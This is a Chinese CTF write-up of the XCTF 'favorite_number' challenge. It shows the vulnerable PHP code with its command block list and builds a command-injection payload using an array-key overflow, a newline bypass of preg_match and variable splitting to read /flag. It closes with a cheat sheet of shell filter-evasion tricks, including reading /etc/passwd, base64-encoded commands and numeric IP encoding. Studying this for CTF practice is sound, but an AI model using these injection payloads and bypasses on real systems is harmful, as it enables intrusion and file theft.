当前位置: 代码迷 >> 综合 >> [xctf]favorite_number 命令执行数组key溢出漏洞绕过pregmatch
  详细解决方案

[xctf]favorite_number 命令执行数组key溢出漏洞绕过pregmatch

热度:84   发布时间:2023-11-04 23:04:22.0

favorite_number

白盒有源码

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];if (preg_match("/^\d+$/im",$num)){
    if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
    echo "my favorite num is:";system("echo ".$num);}else{
    echo 'Bonjour!';}}
} else {
    highlight_file(__FILE__);
}

post两个变量:stuff数组和num字符串
首先进行了个数组的比较
要使stuff数组和array相等但是0号元素却和array的零号元素admin不等
这怎么可能????
但是看到特地标注了php5.5.9
看来是php版本的漏洞了
再网上查了下
漏洞报告

https://bugs.php.net/bug.php?id=69892

构造stuff[4294967296]=admin&stuff[1]=user&num=123

if (preg_match("/^\d+$/im",$num)){
    

num中要全是数字,但是有/m多行匹配
用%0a换行符绕过

stuff[4294967296]=admin&stuff[1]=user&num=123%0a

先匹配第一行123,满足,再匹配第二行
最后

!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)

过滤掉了flag和cat
用全局变量绕过

stuff[4294967296]=admin&stuff[1]=user&num=123%0a a=f;d=ag;c=l;tac /$a$c$d

总结

:1:用hackbar提交post请求会进行url编码最好用burp
2:命令执行知识:

php中执行系统命令
system()
passthru()
exec()
shell_exec()
echo @`whoami`;
ob_start()
system()
mail+LD_PRELOAD空格${
    IFS}$IFS$9%09终止符%00 %20# %0a 0x00 /00分隔符  ; & |   echo 123%0a敏感字符绕过
cat
==
a=c;b=a;c=t;$a$b$c
==
echo 'cat'|base64
`echo 'bHMK'|base64 -d`
cat$x /etc/passwd
cat /etc/pass'w'd文件构造
1>1    空文件
ls>1
网络地址有另外一种表示形式就是数字地址,比如127.0.0.1可以转化为2130706433可以直接访问http://2130706433或者http://0x7F000001这样就可以绕过.的ip过滤,这里给个转化网址http://www.msxindl.com/tools/ip/ip_num.asp